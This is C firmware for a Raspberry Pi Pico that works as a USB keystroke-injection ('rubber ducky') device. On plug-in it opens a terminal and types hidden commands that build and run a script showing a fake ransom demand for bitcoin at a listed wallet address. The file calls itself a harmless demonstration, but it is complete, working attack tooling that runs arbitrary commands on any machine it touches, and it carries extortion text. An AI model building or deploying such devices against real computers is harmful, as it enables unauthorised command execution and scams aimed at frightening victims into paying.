#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <stdbool.h>
#include "pico/stdlib.h"
#include "tusb.h"
#include "usb_descriptors.h"

void hid_task(void);
void type_string(const char *str);
void type_chord(const char *chord_str);
bool char_requires_shift(char c);
uint8_t char_to_hid_keycode(char c);

int main(void) {
    stdio_init_all();
    tusb_init();

    while (1) {
        tud_task(); 
        hid_task();
    }
}

// A safe delay function that doesn't freeze the USB engine
void usb_delay_ms(uint32_t ms) {
    uint32_t start_time = to_ms_since_boot(get_absolute_time());
    while (to_ms_since_boot(get_absolute_time()) - start_time < ms) {
        tud_task(); 
    }
}

// Check if a character lives on the upper-row/shifted state of a physical key
bool char_requires_shift(char c) {
    if (c >= 'A' && c <= 'Z') return true;
    
    const char *shifted_symbols = "!@#$%^&*()_+{}|:\"<>?~";
    if (strchr(shifted_symbols, c) != NULL) {
        return true;
    }
    return false;
}

// Map EVERY standard ASCII character to its physical USB HID Keycode
uint8_t char_to_hid_keycode(char c) {
    // Letters
    if (c >= 'a' && c <= 'z') return HID_KEY_A + (c - 'a');
    if (c >= 'A' && c <= 'Z') return HID_KEY_A + (c - 'A');
    
    // Numbers & Upper Row Number Symbols
    if (c >= '1' && c <= '9') return HID_KEY_1 + (c - '1');
    if (c == '0' || c == ')') return HID_KEY_0;
    if (c == '!' ) return HID_KEY_1;
    if (c == '@' ) return HID_KEY_2;
    if (c == '#' ) return HID_KEY_3;
    if (c == '$' ) return HID_KEY_4;
    if (c == '%' ) return HID_KEY_5;
    if (c == '^' ) return HID_KEY_6;
    if (c == '&' ) return HID_KEY_7;
    if (c == '*' ) return HID_KEY_8;
    if (c == '(' ) return HID_KEY_9;

    // Whitespace / Control
    if (c == ' ')  return HID_KEY_SPACE;
    if (c == '\n') return HID_KEY_ENTER;
    if (c == '\t') return HID_KEY_TAB;

    // Structural Symbols & Punctuation
    if (c == '-' || c == '_') return HID_KEY_MINUS;
    if (c == '=' || c == '+') return HID_KEY_EQUAL;
    if (c == '[' || c == '{') return HID_KEY_BRACKET_LEFT;
    if (c == ']' || c == '}') return HID_KEY_BRACKET_RIGHT;
    if (c == '\\' || c == '|') return HID_KEY_BACKSLASH;
    if (c == ';' || c == ':') return HID_KEY_SEMICOLON;
    if (c == '\'' || c == '"') return HID_KEY_APOSTROPHE;
    if (c == '`' || c == '~') return HID_KEY_GRAVE;
    if (c == ',' || c == '<') return HID_KEY_COMMA;
    if (c == '.' || c == '>') return HID_KEY_PERIOD;
    if (c == '/' || c == '?') return HID_KEY_SLASH;

    return 0; // Unmapped character
}

// Types an entire string out character-by-character
void type_string(const char *str) {
    for (size_t i = 0; i < strlen(str); i++) {
        uint8_t keycode = char_to_hid_keycode(str[i]);
        if (keycode == 0) continue;

        uint8_t report[6] = {0};
        report[0] = keycode;

        // Dynamically compute modifier based on character requirements
        uint8_t modifier = char_requires_shift(str[i]) ? KEYBOARD_MODIFIER_LEFTSHIFT : 0;

        while (!tud_hid_ready()) { tud_task(); }
        tud_hid_keyboard_report(REPORT_ID_KEYBOARD, modifier, report);
        usb_delay_ms(1);

        while (!tud_hid_ready()) { tud_task(); }
        tud_hid_keyboard_report(REPORT_ID_KEYBOARD, 0, NULL);
        usb_delay_ms(1);
    }
}

// Interpreter for multi-key chords split by '+' symbols
void type_chord(const char *chord_str) {
    char *str_copy = strdup(chord_str);
    if (!str_copy) return;

    uint8_t modifiers = 0;
    uint8_t keycodes[6] = {0};
    uint8_t key_count = 0;

    char *token = strtok(str_copy, "+");
    while (token != NULL) {
        for (int i = 0; token[i]; i++) {
            token[i] = tolower((unsigned char)token[i]);
        }

        // Modifiers
        if (strcmp(token, "ctrl") == 0 || strcmp(token, "control") == 0) {
            modifiers |= KEYBOARD_MODIFIER_LEFTCTRL;
        } else if (strcmp(token, "alt") == 0) {
            modifiers |= KEYBOARD_MODIFIER_LEFTALT;
        } else if (strcmp(token, "shift") == 0) {
            modifiers |= KEYBOARD_MODIFIER_LEFTSHIFT;
        } else if (strcmp(token, "gui") == 0 || strcmp(token, "win") == 0 || strcmp(token, "cmd") == 0) {
            modifiers |= KEYBOARD_MODIFIER_LEFTGUI;
        } 
        // Named special keys
        else if ((strcmp(token, "del") == 0 || strcmp(token, "delete") == 0) && key_count < 6) {
            keycodes[key_count++] = HID_KEY_DELETE;
        } else if (strcmp(token, "enter") == 0 && key_count < 6) {
            keycodes[key_count++] = HID_KEY_ENTER;
        } else if ((strcmp(token, "quote") == 0 || strcmp(token, "\"") == 0 || strcmp(token, "'") == 0) && key_count < 6) {
            keycodes[key_count++] = HID_KEY_APOSTROPHE;
        }
        // Single characters (a-z, 0-9, etc.)
        else if (strlen(token) == 1 && key_count < 6) {
            keycodes[key_count++] = char_to_hid_keycode(token[0]);
        }

        token = strtok(NULL, "+");
    }

    if (modifiers > 0 || key_count > 0) {
        while (!tud_hid_ready()) { tud_task(); }
        tud_hid_keyboard_report(REPORT_ID_KEYBOARD, modifiers, keycodes);
        usb_delay_ms(1);

        // Release safely
        while (!tud_hid_ready()) { tud_task(); }
        tud_hid_keyboard_report(REPORT_ID_KEYBOARD, 0, NULL);
        usb_delay_ms(1);
    }

    free(str_copy);
}

void hid_task(void) {
    static bool message_sent = false;

    if (tud_hid_ready() && !message_sent) {
        usb_delay_ms(3000); 
        
        // Open a terminal instance via shortcut
        type_chord("ctrl+alt+t");
        usb_delay_ms(1000); // Wait for window manager animation

        // Output complex test string using escape characters
        type_string("cd ~\n");
        type_string("echo \"#!/bin/sh\" > demo.sh\n");
        type_string("clear\n");
        type_string("echo \"echo you have been hacked!\" >> demo.sh\n");
        type_string("clear\n");
        type_string("echo \"echo give 20 USD in bitcoin to the address:\" >> demo.sh\n");
        type_string("clear\n");
        type_string("echo \"echo bc1qemm739lc5v60vu9e8s4p77zlrarrq5fyhc3wr0\" >> demo.sh\n");
        type_string("clear\n");
        type_string("echo \"echo before i obliterate everything on your computer!\" >> demo.sh\n");
        type_string("clear\n");
        type_string("echo \"echo harmless demonstration of the pico rubber ducky\" >> demo.sh\n");
        type_string("clear\n");
        type_string("chmod +x demo.sh; clear; ./demo.sh\n");

        message_sent = true;
    }
}

// Callbacks required by TinyUSB
uint16_t tud_hid_get_report_cb(uint8_t instance, uint8_t report_id, hid_report_type_t report_type, uint8_t* buffer, uint16_t reqlen) {
    return 0;
}
void tud_hid_set_report_cb(uint8_t instance, uint8_t report_id, hid_report_type_t report_type, uint8_t const* buffer, uint16_t bufsize) {
}